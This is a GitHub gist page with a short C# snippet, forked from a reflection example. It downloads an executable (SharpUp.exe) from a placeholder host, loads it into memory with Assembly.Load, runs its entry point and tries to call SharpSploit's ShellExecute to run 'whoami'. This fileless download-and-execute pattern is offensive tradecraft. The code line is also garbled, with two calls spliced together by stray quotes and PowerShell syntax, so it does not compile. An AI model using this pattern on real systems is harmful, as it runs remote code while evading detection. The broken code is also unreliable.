Skip to content

Instantly share code, notes, and snippets.

@network23
Forked from cobbr/reflection-example-3
Last active February 17, 2021 11:14
Show Gist options
  • Save network23/149d8e9eb03f110cbc3f42e6a8d99bff to your computer and use it in GitHub Desktop.
Save network23/149d8e9eb03f110cbc3f42e6a8d99bff to your computer and use it in GitHub Desktop.
public class Program {
public static void Main() {
System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData("https://x.x.x.x/SharpUp.exe")).EntryPoint.Invoke(null, parameters);")).GetType("SharpSploit.Execution.Shell").GetMethod("ShellExecute").Invoke(0, @("whoami", "", "", ""));
}
}
# object[] arguments = new object[]{ new string[] {"arg1", "arg2"}};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment